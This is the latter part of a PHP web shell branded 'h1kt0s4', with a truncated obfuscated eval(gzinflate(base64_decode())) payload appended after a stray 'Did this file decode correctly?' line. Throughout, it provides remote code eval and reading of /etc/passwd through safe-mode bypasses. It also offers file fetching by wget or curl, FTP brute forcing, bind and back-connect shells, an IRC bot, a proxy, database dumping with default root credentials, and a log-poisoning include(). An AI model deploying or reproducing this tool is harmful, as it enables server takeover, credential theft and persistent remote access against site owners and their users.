echo sr(15,"<b>".$lang[$language.'_text65'].$arrow."</b>",in('text','fzip',105,"$dir/sploitz.zip").ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text219'],'id15').$table_up2.div('id15').$ts;
echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>",in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','filefrom',78,'http://website.com/file.txt'));
echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('text','fileto',105,filename_.php).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
echo $te.'</div>'.$table_end1.$fe;

$aliases2 = '';
foreach ($aliases as $alias_name=>$alias_cmd)
 {
 $aliases2 .= "<option>$alias_name</option>";
 }
echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts;
echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;

}

{
echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
echo $te.'</div>'.$table_end1.$fe;
}

echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font;
echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=9>";
echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("readfile(\"/etc/passwd\");\r\necho file_get_contents(\"/etc/passwd\");\r\neval(gzinflate(base64_decode('NYzbCoJAEIavd2HfYRIvPERKF0FY0BP0AhVhNrmDpqJrJuG7N2oNzOmfb/7A85QEDw5xa3RZw+l4Sdseuc1yUlZ9Tak2sA7D7agFSippE+whjJTsNOUIDu872IQcLnyUFHZOBTJSlQ29rymaqmvpzpjLP4Ie4CzwWZnemUB3fhI/s5waw5YZ9kuwX7nLPhgn+s9OqMBEl+N1ZZ0LK5qkW41xNo0DF04QNvk+K8MX')));"));
echo "</textarea>";
echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
echo "</div></div></font>";
echo $te.'</div>'.$table_end1.$fe;


$select='';
if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";}
if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";}
if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";}
if($unix && $select){
echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts;
echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($dir."/h1kt0s4shell.php"))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));  
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode){

echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts;
echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
echo $te.'</div>'.$table_end1.$fe;
if(!$safe_mode && $unix){
echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts;
echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode&&$curl_on)
{
echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
}
if($safe_mode)
{
echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
echo "<table class=table1 width=100% align=center>";
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}


if($safe_mode&&$mssql_on)
{
echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts;
echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode&&$unix&&function_exists('mb_send_mail')){
echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode&&function_exists('imap_list')){
echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts;
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode&&function_exists('imap_body')){
echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode)
{
echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts;
echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}

if(@ini_get('file_uploads')){
echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts;
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,''));
echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
echo $te.'</div>'.$table_end1.$fe;
}


if(!$safe_mode&&$unix){
echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts;
echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
echo $te.'</div>'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts;
echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
$arh = $lang[$language.'_text92'];
if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip';   }
if(@function_exists('gzencode'))   { $arh .= in('radio','compress',0,'gzip').' gzip'; }
if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
echo $te.'</div>'.$table_end1.$fe;
if(@function_exists("ftp_connect")){
echo $table_up1.div_title($lang[$language.'_text93'],'id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
echo $te."</td>".$fe."</tr></div></table>";
}
if($unix && @function_exists("ftp_connect")){
echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts;
echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo sr(15,"","<font face=tahoma size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']);
echo $te.'</div>'.$table_end1.$fe;
}
if(@function_exists("mail")){
echo $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("[email protected]"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("[email protected]"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from h1kt0s4 shell"))));
echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
echo $te."</td>".$fe."</tr></div></table>";
}
if($mysql_on||$mssql_on||$pg_on||$ora_on)
{
$select = '<select name=db>';
if($mysql_on) $select .= '<option>MySQL</option>';
if($mssql_on) $select .= '<option>MSSQL</option>';
if($pg_on)    $select .= '<option>PostgreSQL</option>';
if($ora_on)   $select .= '<option>Oracle</option>';
$select .= '</select>';
echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";
echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
echo $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SELECT * FROM user; SELECT version(); select user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>";
}
if($unix){
echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'9999'));
echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'h1kt0s4'));
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option><option value=\"C\">C1</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'80'));
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"py\">py</option><option value=\"php1\">php</option><option value=\"php2\">php1</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'80'));
echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru'));
echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667'));
echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
echo $te."</td>".$fe."</tr></div></table>";
}
if($unix){
echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port1',35,'9999').ws(4).in('submit','submit',0,$lang[$language.'_butt3']));
echo $te."</td>".$fe."</tr></div></table>";
echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text214'].$arrow."</b>",in('text','ircadmin',15,'ircadmin'));
echo sr(40,"<b>".$lang[$language.'_text215'].$arrow."</b>",in('text','ircserver',15,'ircserver'));
echo sr(40,"<b>".$lang[$language.'_text216'].$arrow."</b>",in('text','ircchanal',15,'ircchanl'));
echo sr(40,"<b>".$lang[$language.'_text217'].$arrow."</b>",in('text','ircname',15,'ircname'));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ips',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','ports',15,'80'));
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Per1</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>Proxy</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337'));
echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
echo $te."</td>".$fe."</tr></div></table>";
}
echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=tahoma size=-2><b>Developed by h1kt0s4</b></font></div></td></tr></table>".$f;

if(empty($_POST['log'])){
} else {
$log=$_POST['log'];
echo  error_log("<? print include(\$_GET[ss]) ?>", 3,$log);
echo "</textarea></CENTER>";
}

?><?

Did this file decode correctly?

Original Code

<? eval(gzinflate(base64_decode('

7L15fxq50jD695vfL9+hx8fPwT5xbBbbMck4Z9jd

GLDZl5m5eaAbmjbNMjSY5Zy5n/1WlaTewTjJPMt9

4xnH0C2VSqVSbZJK//z89s3P/3z75uIf/yU/F9jS

//tf8MNakqQT5XSq9lWpt5GqE3mWmX+pJs7S/ee+

MZ2xx8PIaBE2L1nxYkIuSMPFYvbx4uJ50pt39cn5

pL+QzuyHw64ywmf/tTSToE+S9G/pYbbQpxNTou/0

6gI//r//lgrdibbsan16dGzwb7eh/kQLSe8l+GPo

5lA64R9OveW6cyzWnXd7unRCf6CIB84nqz1s/t9S

YrkY9icLfaArXcSLwezCU+lWinyS3p9IXU8RePEw

kaRTV9EwFIWxCiw8GGBhuyRVPClMNX0i/V167Jrm

ajpXpcF0LnUVpW+aBPokdZco5TJS7U6u/vTTT6w5

SQrx0Q7R93FXGk670tLsz6XnrjQDWJLUgx5Li+Gy

u5AW0+5EGqtXErQ/6Y6BCOH4dawXiyrX19Ge2r++

7Pa6vV641+9/uIleDZRY6JMEbRNAAzFEzBHsgTUl

VnXGO3X6X8ljb9/0leFUOjo6Hy7GhjnrK3rXUIbd

uXlyrExnm9PzoyMgfn8+n86/zPuz6XyhT7ST8Ck8

NPuLL+Oupitf/lhOF33zy3wJozjus7e/4Gv8+sXQ

x/qCP9Qn+hd4cRIad9df+uu+ssQRp3KhM0+R6XIx

Wy6+9JaDQX8OrfICx2Z30P8yhgkOnEGlNSxtPQ1R

oef+3GS8FIqcxyLIxPrghD/9okzHs+68fzIbzvij

k9MzKXR5HjkPh06l21vpfQTGQfoX/B5/eXyo1oCN

bqW/H9/Vao/0/UsjUal+ote5DL61X8N3x9tqptLI

VOy37LujQOrh4V7O2AXYd6vAn4i4dPKL5qW2NlNO

TgWSMBH6XQUmOse2a0rHo9vPx89YgErwfvx6PPod

2jIXc31mGl1z2IeRfkaSSdiUExBHLBAUe/cSsD+R

wYDsfB6DdDhFANifn3QTB1nQ59fQ493jl0S9dvel

Dk9Cv59K//43zsI9JX66vaUJuqfkY5OXw8lF+LMO

SMN+V+3PT0LNZvO9kGcgffofpWTX1BUJiGCMb4+4

4JCgZ4ZxFGI9syrjcF0Ax0iX4YhUn2Anp3N921dF

wf4aGP/o597nn0HmzPuDW65PVqvVuTadakb/HDjx

M2/l54vuZ+mjlCB5JqX7E72v/nzR+3zEoQE14f9j

bB3Z+uef3oP4FBhK79+jUsdZTH+hEP4d9xdd0mLv

+38s9efbo9R0soDOvheK40hS2JPbo+78vdk9smqR

7DvKZUqZSqL2UHEULOrKfGpOBwspO4dnjwBGuj4P

e6s+zqearDrqWaXPM6q+mM7P01NlOYZXR3tRrW1m

TjQX/fXiAvv5SSJB1V/crvSJOl2Z7yPRq2uCtdAX

Rv+za/R+vmAPkSXxv5+rtXYhQ197U3WDfDGAJt4P

umPd2HyUat3hdNwlki/m+Db5UElnKu8rcu6u9lGS

/pY0wCaQIrO1ZE4NXf1klag9PH5EgbCzQCGTRQi7

CyQfarWH4sc9baQeCg8VKBCjH3iuTI3pHB7E6ecT

w1v934n3+aLbM/oRG/mPUni23gMkmUjd5yoP9VJa

vCMEdoJXXwEbmeKj9GG2kBr9udqddHdCnb8CauBw

Ya+dIByEBl0IjP7dSKBPQLNiUz0wOPrz//N//s9H

NlLY2Cfx+D1VxXd/C4fj8XB419+97TMC3rxIQLNv

9JVFAMe+yLACmz0su6eIYNqdzfiQ/aq+Vvoq7+ey

B/aQa5x7y8ViOhnq2tCA34UUdY34ztZWuroYfpRi

4f/YxVEgKsHM6f4PJOorGJgRNauv+6q5MaXe1FB3

9Df5kG5jX/9PNVV5KBSSicr7bCKVcQOU7Jd3QIwC

EsQ7xo4y1btE+qG5p0As/RKIRKUCEHYhUatAz/fU

Ticq94FIvH0z7s7B3fjIJ62L0XrQijafLieqqCXI

ibJqDC4uEooBoOn/PnrzAYYpzH/fX8bDDlHwf5xS

wCkpdg0nSUQmYvZh8vZN4qOhT0Y0ahxIc6gv+p+k

WqZVe5/OpB7A/JAfSh+lyXTSp0qJj8+6CWXUV9Ya

TsHYpzoOUu2t0VUW+nP/FVV+vhBmxc+mAlbxQrJ8

6d9CT93nLnv6WwhKDJYThfzdoa72v6j684mOzh8Z

qCq3jM7B7M8YffyY3Mgqljg3FxswHFXdnBndDViC

v4Ww+d9Cn1wVlel0pPdvdfXdb6Hb8Cd6/aejUXM4

XX1Toz1jqoz2thrxtwoW20SjzpoLR8voEbyidbvP

zKZ3dYYQ6htmn71yEvcTHyM2CJ8ROcVA/3+rzwa6

0efYSNJzdy4dq91F1+wrksS8u+583t2ccFuclVAW

cwNgz3eX6E8HX6xSt9LRb+ur8G/ry95v6/AV/F7D

b9j5e+SsDILuy3QwADVA4MP8nUXM5URfR9NTs4ZO

